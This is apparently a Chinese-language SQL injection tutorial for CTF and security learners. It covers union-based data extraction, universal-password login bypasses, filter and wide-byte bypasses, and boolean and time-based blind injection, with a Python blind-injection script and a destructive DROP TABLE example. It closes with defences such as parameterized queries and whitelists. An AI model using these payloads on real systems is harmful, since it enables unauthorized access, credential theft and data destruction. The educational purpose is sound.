1. 从一次登录绕过说起:SQL注入到底是什么
先说个真实的场景。前两年我在一个授权范围内的演练项目里,遇到一个老旧的内部管理系统。朋友告诉我这个系统的登录页有点说法,正常的账号密码进不去,但随便输入一个不存在的用户名,密码框里填上' or 1=1-- -,直接登录进了管理后台。当时整个操作就发生在两三秒内,管理员看到后台页面的时候,整个人是懵的。
这就是SQL注入的典型表现。SQL注入的核心原因说起来其实很简单:程序把用户输入的内容直接拼进了SQL语句里,没有做任何区分。数据库拿到拼接后的语句,把输入的部分当作SQL指令来执行,于是攻击者就能通过构造特殊输入,让数据库执行自己想要的查询逻辑。一个字符串输入,意外成了改变整条SQL语句结构的“代码”。
这类问题在Web安全里属于老牌漏洞,但绝不是“历史遗留”那么简单。我在实际测试和代码审计中见过不少新项目依然存在这类问题,尤其在拼接式查询、排序字段、批量操作等场景里。对于刚入门安全方向的朋友来说,SQL注入也是绕不过去的第一课——它覆盖了请求分析、闭合判断、语法构造、数据提取、绕过防御等一整套思路,把这些学扎实了,后续学习其他漏洞类型会顺畅很多。
这篇文章整理了我自己在学习SQL注入过程中的部分笔记,内容会包含原理拆解、联合注入的完整实操流程、万能密码与常见绕过思路、问题排查要点,以及从开发者视角的防御建议。整个过程以靶场环境和授权测试场景为准,所有示例都是为了帮助理解漏洞原理和防护方法,请勿在任何未授权系统上测试。
2. 原理拆解:为什么一段输入能改变整条SQL的语义
2.1 “代码与数据不分”是根因
很多新手对SQL注入的理解停在“因为有漏洞所以能注入”的层面,但真正要掌握它,得先从数据库执行SQL的过程说起。
假设后端代码是这么写的:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'正常情况下,数据库执行这条语句,查询条件是两个字符串。但如果用户在用户名输入框里填写的内容不是admin,而是admin'-- -,那拼接出来的语句会变成:
SELECT * FROM users WHERE username = 'admin'-- -' AND password = '123456'在MySQL中,--(注意后面有空格或使用-- -变体)表示注释符,-- -后面所有的内容都会被当作注释忽略。于是真正被执行的语句变成了:
SELECT * FROM users WHERE username = 'admin'密码校验直接没了。这就是“代码与数据不分”的直观体现:用户输入的'闭合了字符串,--注释了后面的内容,输入不再只是数据,而是参与了SQL语句的结构定义。
我在实际分析里总结过一句话:SQL注入的判定条件就三个字——可控、拼接、可执行。参数内容是否可控,是否被拼接到SQL语句中,拼接后是否能影响原有执行逻辑。三个条件同时成立,基本可以确定存在SQL注入。理解这个逻辑之后,很多绕过手法其实是围绕“如何让拼接后的SQL依然合法”来展开的。
2.2 SQL注入的分类逻辑
SQL注入的分类方式有很多种,按数据流向可以分为有回显和无回显两大类。
有回显的注入指的是攻击者的输入和执行结果能直接显示在页面上。最常见的就是联合查询注入(UNION注入),页面会把SQL查询结果直接渲染出来。这类注入的利用成本最低,效率最高,是CTF Web方向入门必练的技能点。
无回显的注入,页面不会显示数据库返回的内容。此时需要借助数据库的行为差异来判断条件是否成立。典型的两种方案是:
- 布尔盲注:通过页面内容的变化判断条件真假。比如
1 AND (SELECT 1 FROM users LIMIT 1) = 1,如果页面正常显示说明条件为真。 - 时间盲注:通过数据库延时响应来判断条件。比如
1 AND SLEEP(5),如果页面响应延迟了5秒,说明条件为真。
这两种方式都是“一个一个字符猜”的过程,效率偏低,但胜在通用性强,尤其是时间盲注几乎不依赖页面细节,适合绝大多数场景。
按照注入点类型还可以细分:
- 数字型:
WHERE id = 1,参数不带引号,可以直接拼数字。 - 字符型:
WHERE name = 'admin',参数被引号包裹,需要先闭合引号。 - 搜索型:
WHERE title LIKE '%关键词%',利用百分号通配符闭合语句。 - 堆叠注入:一次执行多条语句,用分号分隔,比如
1; DROP TABLE users-- -。
搞清楚分类的目的,是面对一个注入点时能快速判断“接下来该怎么闭合、怎么构造”。我在靶场练习时发现,很多新手卡住的地方不是不会用工具,而是不知道当前这句话到底该怎么闭合。我会在后面的实操章节里详细展开。
2.3 为什么联合注入是CTF Web里出场率最高的手法
在CTF Web题目中,联合注入(UNION Query Injection)几乎是必考项。原因很简单:题目一般会给出一个查询功能,用户输入商品ID、新闻ID等参数,页面会显示对应记录,开发代码里直接拼接了参数。这种场景天然适合UNION注入。
UNION注入的核心逻辑是:利用SQL的UNION操作符,将我们自定义的查询结果合并到原始查询结果中。前提条件是两个查询的字段数量一致,且对应字段的数据类型兼容。于是整个利用过程就变成了一条固定的流程:
- 确定注入点类型(数字型还是字符型),闭合语句。
- 用
ORDER BY或UNION SELECT试探字段数。 - 确认显示位,把回显位置替换成我们需要的查询语句。
- 依次查询库名、表名、列名、数据。
这个流程是学习SQL注入的“骨架”,所有有回显的注入场景基本都适用。我在下一章把每一步的细节都拆开讲,每一步都配上实际构造和判断方法,新手按这个顺序操作基本不会迷路。
3. 联合注入完整实操:从判断注入点到拖出全部数据
3.1 判定注入点:先区分数字型还是字符型
靶场环境里最常见的一个场景是商品查询页面,URL长这样:
http://target.com/product.php?id=1页面把ID为1的商品名称、价格、描述都显示出来了。第一步要做的,是测试这个参数是否存在注入,以及是哪种类型的注入。
最直接的测试方法,是在ID后面加一个单引号:
http://target.com/product.php?id=1'如果页面报错、显示异常,或者返回500,说明这个参数可能进入了SQL查询。然后再通过逻辑测试来确认类型:
http://target.com/product.php?id=1 AND 1=1 http://target.com/product.php?id=1 AND 1=2如果第一个页面正常,第二个页面无数据或异常,说明数字型注入大概率存在,因为我们的AND 1=1和AND 1=2直接参与了SQL逻辑判断,且语句能正常执行。
如果对字符型参数用同样的方法测试不奏效,比如参数值原本是abc,拼接查询长这样:
SELECT * FROM products WHERE name = 'abc'这时就需要先闭合引号。构造:
http://target.com/search.php?name=abc' AND '1'='1相当于:
SELECT * FROM products WHERE name = 'abc' AND '1'='1'条件恒为真,页面正常。把'1'='1改成'1'='2,条件恒为假,页面无数据。通过对比就能确认注入成立且是字符型。
我个人的习惯是,用一个专门的测试字典跑一遍,把'、"、)、')、'--、%27等变体都试一遍,看哪个组合导致页面行为变化,基本能确定边界字符和闭合方式。这个信息后面构造有效载荷时至关重要。
3.2 判断字段数量:ORDER BY到UNION SELECT
确认注入点之后,需要知道原始查询返回了多少列。最常用的两种方式各有利弊。
第一种是ORDER BY试探法。通过让结果集按照第N列排序,观察语句是否报错:
http://target.com/product.php?id=1 ORDER BY 1 http://target.com/product.php?id=1 ORDER BY 2 http://target.com/product.php?id=1 ORDER BY 3只要不报错,就继续增加列数。当ORDER BY 5报错而ORDER BY 4正常时,说明原始查询返回的字段数是4。
第二种是UNION SELECT直接试探:
http://target.com/product.php?id=1 UNION SELECT 1,2,3如果页面正常显示数字,说明字段数至少是3;如果报错提示“The used SELECT statements have a different number of columns”,说明字段数不是3,继续增加或减少数量。这种方式效率更高,但也要求页面有回显。
我在初学阶段偏好ORDER BY,因为它的反馈更直观——列数超出时数据库一定会报错。但实际测试中,排序字段可能被开发者用白名单过滤了,或者查询语句本身已经带了ORDER BY,此时UNION SELECT就成了首选。两种方法都要会,才能应对不同场景。
3.3 确定回显位置:找出页面展示对应列
知道字段数是3之后,构造如下请求:
http://target.com/product.php?id=1 UNION SELECT 1,2,3页面会显示一条额外的结果,可能是:
ID: 1 Name: 2 Price: 3也可能只显示部分数字。这一步的目标,是确认页面渲染的是哪几列的内容。比如页面把第2列和第3列的内容显示出来了,那么后续的查询语句就应该放在第2位和第3位。
http://target.com/product.php?id=1 UNION SELECT 1,database(),user()这样页面上原本显示“2”的位置会变成当前数据库名,显示“3”的位置会变成当前数据库用户。这一步是整个联合注入流程的“落地点”,后面所有数据提取都是通过这两个位置输出来实现的。
需要注意一点,如果原始查询结果集不为空,UNION查询的结果会追加在后面,有些页面只显示第一条结果,导致看不到注入结果。常规的处理方法是把ID改成一个不存在的值,比如:
http://target.com/product.php?id=-1 UNION SELECT 1,database(),user()这样原始查询没有返回记录,页面显示的就是UNION查询的结果。这个技巧在实战里非常实用,CTF题目里也经常埋这个点。
3.4 完整信息收集:库名、表名、列名、数据
确认了回显位置,后面的步骤就是套模板。
第一步,查询当前数据库名:
UNION SELECT 1,database(),3假设返回的结果是demo_db。接着查这个库里有哪些表:
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='demo_db'information_schema.tables是MySQL系统库中的表,记录了数据库中所有表和视图的信息。group_concat函数能把多行结果合并成一行,方便在单个显示位中输出全部内容。
如果看到users表,第二步查这个表有哪些列:
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='demo_db' AND table_name='users'假设返回id,username,password,第三步直接查数据:
UNION SELECT 1,group_concat(username,0x3a,password),3 FROM demo_db.users这里0x3a是冒号的十六进制表示,用于在username和password之间加一个分隔符,便于阅读。最终页面上会显示类似admin:5f4dcc3b5aa765d61d8327deb882cf99的内容。
到这一步,一个完整的联合注入利用流程就走通了。这四步看似简单,但每一步都可能因为过滤规则、字段类型、显示位数等问题卡壳。我在第5章会把常见的坑和排查思路整理出来。
4. 万能密码与绕过思路:为什么' or 1=1-- -能登录成功
4.1 万能密码的本质
万能密码是SQL注入最经典的场景之一。回到文章开头那个登录框,很多新手不理解:为什么' or 1=1-- -能直接登录?
看一段常见的错误登录逻辑:
$sql = "SELECT * FROM users WHERE username = '$_POST['username']' AND password = '$_POST['password']'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // 登录成功 }当用户名输入admin'-- -,密码随便填什么,拼接后的SQL变成:
SELECT * FROM users WHERE username = 'admin'-- -' AND password = '123456'-- -把后面的密码条件注释掉了,整条语句变成:
SELECT * FROM users WHERE username = 'admin'只要存在用户名为admin的记录,查询结果就不为空,登录成功。
而输入' or 1=1-- -时:
SELECT * FROM users WHERE username = '' or 1=1-- -' AND password = '123456'or 1=1让整个WHERE条件恒为真,查询结果会返回表中所有记录,登录同样成功。这就是万能密码名称的由来——它不管用户名存不存在,直接让条件恒真。
这类问题在实际环境中依然高发。我在代码审计时见过不少老系统,虽然前端加了各种校验,但后端代码依然是字符串拼接的方式处理登录查询。前端校验本质上只是用户体验优化,后端没有做参数化查询,漏洞就始终存在。热词里“sql注入万能密码绕过”被频繁搜索,说明这个问题到现在仍然是很多初学者理解和利用SQL注入的切入点,同时它也是防御方必须重点关注的典型场景。
4.2 常见变体与注释符差异
万能密码的变体非常多,核心思路是闭合引号 + 注释掉后续条件,或者闭合引号 + 构造恒真条件。整理几个常见的形式:
| 输入内容(用户名) | 拼接后的效果 |
|---|---|
admin' or '1'='1 | 闭合引号并构造恒真条件 |
admin'-- - | 闭合引号并注释掉后续条件 |
' or 1=1# | MySQL中#是注释符,作用类似-- |
admin' or '1'='1'# | 闭合引号 + 恒真 + 注释 |
admin' or 1=1-- a | --后加任意字符避免空格问题 |
注释符的差异值得单独说。MySQL支持三种注释方式:
#注释到行尾--后面必须至少跟一个空格或控制字符(如换行),才能被当作注释符/* */多行注释,中间内容会被忽略
所以-- -中的-是为了满足“注释符后有空格”的条件,防止数据库把--xxx当作普通字符。--#、--+也是常见的变体,+会被URL解码成空格。记住这一点,很多莫名其妙的失败原因就清楚了。
4.3 编码绕过:当引号被转义时怎么办
如果后端代码用addslashes、mysql_real_escape_string或mysqli_real_escape_string对用户输入做了转义,单引号会被加上反斜杠\',导致闭合失败。这时候怎么办?
一个常见的思路是利用宽字节注入。在GBK等宽字节编码下,%df%27(即%df')经过数据库解析时,%df和反斜杠\会组合成一个合法的宽字节字符,后面的单引号就脱离了转义,成功闭合。
具体流程是:后端将'转义为\'(即%5c%27),而程序以GBK编码解析时,%df%5c会被解释为汉字“連”,原本的反斜杠被“吃掉”了,剩下的%27就成了一个正常的单引号。这就是宽字节注入的原理。
这个漏洞在MySQL+GBK编码的PHP老应用里很经典。我在靶场里复现过多次,核心条件是数据库连接字符集为GBK,且转义函数只处理了引号。如果你的测试目标是UTF-8编码的应用,这个思路通常不成立,需要换其他绕过方式。
还有一类常见的情况是空字节截断,利用%00在部分数据库或操作系统中的截断特性来截断字符串,从而绕过后缀检查或长度限制。不过这类用法在现代高版本数据库中已经基本失效,主要在一些老旧的Windows环境里能看到。了解它的意义,更多是在阅读老文章、分析历史漏洞时能看懂上下文。
4.4 CTF里常见的注入变形
CTF的Web题目很少让你直接一梭子打出数据库内容,中间通常会加各种“调料”。我整理几个常见的变形思路:
空格过滤。部分题目会把空格过滤掉,此时可以用注释符替代空格:
SELECT/**/username/**/FROM/**/users或者用括号包裹,比如(SELECT(username)FROM(users))。
关键字过滤。select、union等关键字被过滤时,可以在关键字中间插入注释符来绕过,前提是后端只做了简单的字符串匹配:
UN/**/ION SEL/**/ECT在MySQL中,/**/可以被当作空格处理,所以UN/**/ION会被解析成UNION。
表名或列名过滤。有些题会过滤information_schema这个名字,可以尝试用反引号包裹、大小写混写,或者查询其他视图。但多数情况下,过滤规则只用了简单的字符串包含判断,用变形写法就能绕过。
二次注入。攻击者第一次把恶意内容写入数据库,程序在存储时做了转义,所以第一次注入不成功。但后续某个功能在读取数据库内容时直接拼接SQL,且没有做转义,恶意内容就在第二次使用时被触发了。这种题目考察的是对数据流全链路的理解能力。
我在做CTF题时的经验是:先看过滤规则,再想怎么构造,最后才是跑数据。直接上自动化工具往往过不了题,因为题目设置的过滤就是针对工具的常见载荷。
5. 无回显场景:布尔盲注与时间盲注的判断技巧
5.1 布尔盲注:用页面差异“猜”出数据
有些注入点的查询结果不会直接显示在页面上,页面只反馈“存在”或“不存在”。比如一个查询接口,记录存在时返回“查询成功”,不存在时返回“未找到记录”。这种情况下,可以利用布尔条件来逐位提取数据。
测试方式很简单。先确认注入点,然后构造条件语句:
http://target.com/search.php?id=1 AND (SELECT SUBSTRING(database(),1,1)) = 'a'如果数据库名的第一个字符确实是a,页面返回“查询成功”;否则返回“未找到记录”。用这种方式对每个字符逐个枚举,就能把整个数据库名拼出来。手动操作效率很低,实际测试中通常用脚本或者工具(比如sqlmap的--technique=B)来跑。
我在初学时手动写过Python脚本,大概逻辑是用SUBSTRING和ASCII函数做二分比较,每次测试一个字符的ASCII码范围,效率比逐字符枚举高了不少。这个思路在写注入脚本时很实用,也是理解盲注原理的好方法。
5.2 时间盲注:当页面完全不反馈时
布尔盲注还有一个前提:页面必须有“真/假”两种不同的反馈。但如果页面无论查询结果如何都返回相同的静态内容,布尔盲注就失效了。此时可以使用时间盲注。
时间盲注的核心是利用SLEEP或BENCHMARK函数制造可观测的延迟:
http://target.com/search.php?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=97,SLEEP(3),0)如果数据库名第一个字符的ASCII码等于97(即字母a),数据库会执行SLEEP(3),页面响应时间延迟约3秒;否则立即返回。通过观测响应时间差异,就能逐字符提取数据。
使用时间盲注时有一个重要前提:数据库账号需要有执行SLEEP的权限,且目标数据库是MySQL。对于其他数据库,函数名会不同,比如PostgreSQL用pg_sleep(),MSSQL用WAITFOR DELAY '0:0:3'。如果不确定目标数据库类型,可以先根据页面报错信息、URL参数特性或者Cookie特征做初步判断,再选择合适的延时函数。
很多新手在使用时间盲注时踩过同一个坑:本地测试明明延迟了,到了目标环境却完全不生效。排查方向一般是网络延迟不稳定、数据库权限受限、WAF拦截了SLEEP函数、或者目标数据库类型与预期不一致。这类问题我会在下一节详细展开。
5.3 什么时候优先用工具,什么时候必须手注
对于无回显注入,工具的效率和准确性远高于手注。sqlmap可以自动化完成布尔盲注和时间盲注的检测与数据提取,是Web安全测试里最常用的工具之一。使用时注意限制请求速度和线程数,避免对目标造成过大压力。
但工具并不是万能的。CTF题目里经常会过滤掉工具的常见特征,比如拦截sqlmap的User-Agent、检测到并发请求就封IP、或者设置了CSRF token导致每次请求都需要动态获取。这种情况下,手注能力就变得关键。
我的建议是:能识别注入类型、能看懂工具payload的手注能力是基本功,工具只是提升效率的手段。初学者至少要用脚本或手工方式完整跑过一次布尔盲注和时间盲注,理解整个提取过程之后,再使用工具会顺手很多。
6. 防御视角:如果这段代码归你维护
6.1 参数化查询是底线
SQL注入的防御方案,业界已经有非常成熟的共识,最核心的一条就是使用参数化查询(Prepared Statement)。
参数化查询的核心思想,是让数据库在执行SQL前先定义语句结构,再将参数作为值传入。数据库会严格区分“语句结构”和“参数值”,参数中的任何内容都不会被当作SQL代码执行。
以PHP的PDO为例:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);Java的PreparedStatement同理:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);这里有一个关键点:参数化查询只有在SQL语句结构固定的情况下才有效。如果SQL语句中表名、列名、排序字段是通过字符串拼接方式传入的,参数化查询无法覆盖,因为这些部分属于“语句结构”而非“参数值”。排序字段这类场景需要使用白名单校验。
6.2 白名单校验与最小权限
对于不能使用参数化查询的场景,比如ORDER BY字段、表名、列名,一般做法是使用白名单校验。不是去“过滤非法字符”,而是直接规定“允许出现的值”。
allowed_columns = ['id', 'name', 'price', 'created_at'] if order_col not in allowed_columns: order_col = 'id'这种策略的好处是,即使攻击者把参数改得天翻地覆,只要不在白名单里,程序根本不会使用这个值,漏洞自然不成立。白名单的思维比黑名单过滤要稳健得多,因为黑名单很难覆盖所有可能的绕过变形,而白名单直接限制了输入空间。
数据库账号权限的最小化也是防御的重要一环。很多注入漏洞能够造成巨大危害,本质上是因为数据库账号权限过高。代码中使用的数据库账号,如果只需要执行增删改查,就不应该赋予DROP、FILE、SUPER等高危权限。权限配好之后,即使出现注入点,攻击者能做的事情也会被限制在很小的范围内。
6.3 从攻击者视角倒推防御重点
我自己的习惯是,做开发的时候会以攻击者的视角审视每一条SQL语句。写代码时多问自己几个问题:这个参数会不会进入SQL语句?如果能进入,我是否用了参数化查询?如果参数用在了表名或列名上,是否做了白名单校验?数据库账号的权限是不是最小化配置?
这套思路听起来朴素,但实际执行效果比任何花哨的防护产品都可靠。安全不是靠某个单点防护,而是靠每个环节都堵住自己的漏洞。SQL注入的修复方案没有门槛,门槛在于开发者是否意识到每一个请求参数都可能是攻击者的入口。
7. 常见问题与排查技巧实录
7.1 为什么页面不回显数据,但能判断存在注入
这种场景经常遇到:明明逻辑判断确认了注入存在,但UNION查询没有结果返回。排查方向有这几个:
第一,检查页面是否有回显位。所谓回显位,是指页面能够渲染SQL查询结果的内容区域。如果页面只是把查询结果用于逻辑判断(比如判断是否登录成功),不会把内容输出到HTML中,那么UNION注入就没有输出通道。此时应该考虑盲注方案。
第二,检查原始查询的结果集是否为空。前面提到过,把ID改成不存在的负数,可以让UNION查询的结果排在最前面显示。很多新手漏了这一步,导致页面一直显示原始数据,看不到自定义查询的内容。
第三,检查字段数是否判断正确。UNION要求两个SELECT语句的列数一致,如果列数不同,数据库会报错。很多时候不是注入不成功,而是连UNION SELECT 1,2,3的列数都没试对。
7.2 引号被过滤了,还能注入吗
引号被过滤或转义时,注入依然可能成立,前提是找到替代方案。
数字型注入通常不涉及引号,可以直接构造:
id=1 AND (SELECT 1 FROM users WHERE username='admin')如果子查询内部需要字符串,可以使用十六进制编码。MySQL会把0x61646d696e直接当作admin字符串处理:
id=1 AND (SELECT 1 FROM users WHERE username=0x61646d696e)还有一些函数可以替代字符串,比如CHAR(97,100,109,105,110)会返回admin。如果WAF对常见函数名有拦截,可以尝试在函数名中间插入注释符,比如CHA/**/R,前提是后端没有做词法级别的解析。
7.3 ORDER BY、LIMIT里的注入怎么处理
ORDER BY后的注入比较特殊,因为UNION无法在ORDER BY子句中使用。对于ORDER BY参数,常见思路是盲注或报错注入。比如:
ORDER BY IF(1=1,id,name)如果1=1为真,结果集按id排序;为假则按name排序。通过对比排序结果的差异来判断条件真假。如果排序字段处可以输入表达式且能报错,可以尝试报错注入函数,但我更推荐在测试中优先用布尔判断。
LIMIT后的注入在MySQL老版本中可以用PROCEDURE ANALYSE(),但新版本已经修复。实际测试中LIMIT注入更多依赖堆叠注入配合,适用于MSSQL和PostgreSQL等支持多语句执行的数据库。如果目标是MySQL且开启了多语句支持,也可以尝试。这类场景不多,遇到时不要死磕,优先确认数据库版本和执行权限。
7.4 常见问题速查表
| 现象 | 可能原因 | 排查思路 |
|---|---|---|
| 加单引号后页面报错 | 存在字符型注入或参数未处理 | 闭合引号后注释掉后续内容 |
AND 1=1正常、AND 1=2也正常 | 参数可能没有被拼接进SQL | 检查请求参数名是否正确、是否有多层参数值 |
| UNION没有回显 | 页面没有渲染查询内容 | 把ID改成不存在值,或检查显示位 |
| 时间盲注不生效 | 数据库类型不同、权限不足、WAF拦截 | 确认数据库类型和版本,检查SLEEP是否可用 |
| 引号被转义 | 后端做了过滤 | 尝试宽字节注入或十六进制编码 |
| 关键字被过滤 | WAF或代码层拦截 | 用注释符、大小写、编码变形绕过 |
| 页面返回500但无错误信息 | 拼接SQL语法错误 | 在本地靶场复现构造过程,逐步排查语法 |
排查这些问题的通用思路是:先在本地搭建靶场环境(比如DVWA、SQLi-Labs、Pikachu等),把线上遇到的情况在本地复现一遍,对比差异,逐步缩小排查范围。很多线上搞不定的问题,在本地其实几分钟就能搞清楚原因。
8. 学习路径与练习环境推荐
8.1 从靶场开始,别一上来就去拿真实系统练手
我在带新人时反复强调一个原则:所有注入手法的练习,必须在靶场或自己搭建的测试环境里完成。未经授权测试他人系统不仅是违规行为,还可能涉及法律责任,安全技术从业者首先要尊重边界。
适合新手的靶场我排个序:
- SQLi-Labs:专为SQL注入设计的靶场,从基础到进阶有几十个关卡,每一关对应一种注入类型或绕过技巧,是学习SQL注入最系统的资源。
- DVWA(Damn Vulnerable Web Application):综合类漏洞靶场,支持SQL注入的多种难度切换,适合从低难度到高难度循序渐进。
- Pikachu:中文靶场,覆盖了大量常见漏洞类型,界面友好,适合中文读者学习。
- Less系列(sqli-labs):很多文章分析过每个Less的构造,跟着这些文章自己动手一遍,效果远好于直接看答案。
建议的学习顺序是:先练联合注入,再到布尔盲注、时间盲注,然后是POST注入、Cookie注入、宽字节注入、堆叠注入,最后再接触过滤绕过的各种变形。这个顺序和漏洞利用的难度曲线基本一致。
8.2 写脚本是提升盲注效率的最好方式
学盲注的时候,强烈建议自己写一遍提取脚本。写脚本的过程,其实就是把注入原理再消化一遍的过程。需要处理的核心逻辑包括:会话保持、条件判断、字符集枚举、二分搜索、结果拼接,以及对特殊字符的编码处理。
用Python写一个简单的布尔盲注脚本框架,可以这样入手:
import requests url = "http://127.0.0.1/sqli-labs/Less-8/" charset = "abcdefghijklmnopqrstuvwxyz0123456789" def is_true(condition): payload = f"?id=1' AND {condition}-- -" r = requests.get(url + payload) return "You are in" in r.text def get_database_name(): name = "" for i in range(1, 33): for c in charset: cond = f"ASCII(SUBSTRING(database(),{i},1))={ord(c)}" if is_true(cond): name += c print(name) break return name print(get_database_name())这个脚本的逻辑是用于数字或字符型注入点的布尔盲注,通过逐字符比较ASCII码来提取数据库名。实际使用中,需要根据目标页面的回显特征修改is_true函数的判断条件,同时注意请求频率,避免对目标造成过大压力。写几个类似脚本之后,对时间盲注、报错注入的理解会明显加深。
8.3 从CTF题目里练过滤绕过
CTF Web方向的注入题,和真实系统的注入场景相比,最大区别在于过滤规则更刻意,更考验构造能力。推荐去刷一些经典题目,重点关注这些方向:
- 空格被过滤的替代方案:注释符、括号、Tab键
- 关键字被过滤的变形:大小写、注释符插入、同义函数替换
- 显示位受限时的处理:
group_concat、concat_ws、substring - 无法直接查询
information_schema时的方法:sys.schema_auto_increment_columns等替代视图
CTF题里有一个常见考点:用GROUP_CONCAT(...)配合SEPARATOR自定义分隔符,突破显示位长度限制。还有一个点是,如果回显只显示一行,就要确保UNION查询的结果能排到第一位,通常用负数ID或LIMIT 1 OFFSET n控制返回顺序。
刷题时建议限定时间,独立完成后再看别人的Writeup,对比自己的构造思路。不要一上来就开自动注入工具,工具只能辅助提速,替代不了你对SQL语句本身的理解。
9. 最后聊点我自己的体会
从第一次在靶场里用单引号把页面搞到报错,到现在看到SQL语句下意识思考它的拼接方式,SQL注入这门课教会我的,远不止一条注入语句怎么写。
它让我真正理解了“输入不可信”这几个字的分量。几乎所有SQL注入漏洞的产生,都是因为开发者默认“用户输入是安全的”。这种思维惯性不只在SQL注入里存在,XSS、SSRF、文件上传、命令注入,本质上都是同一个问题:把用户可控的内容当成了可信内容。掌握SQL注入的底层逻辑,等于理解了Web安全里最核心的一套思维模式。
我现在的习惯是,不管是看代码还是写代码,每遇到一个外部输入,都会先做一个心理上的安全校验流程:这个值会流向哪里?会被用在什么上下文里?如果我输入一段特殊构造的内容,会造成什么后果?这套本能的养成,比记住任何攻击手法都重要。
在这个领域里待得越久,越觉得安全不是一项独立的工作,而是贯穿在每一个技术环节中的基本素养。希望这篇笔记能帮助刚起步的你把路走稳。以后遇到有意思的绕法和新思路,我还会继续记录下来和大家分享。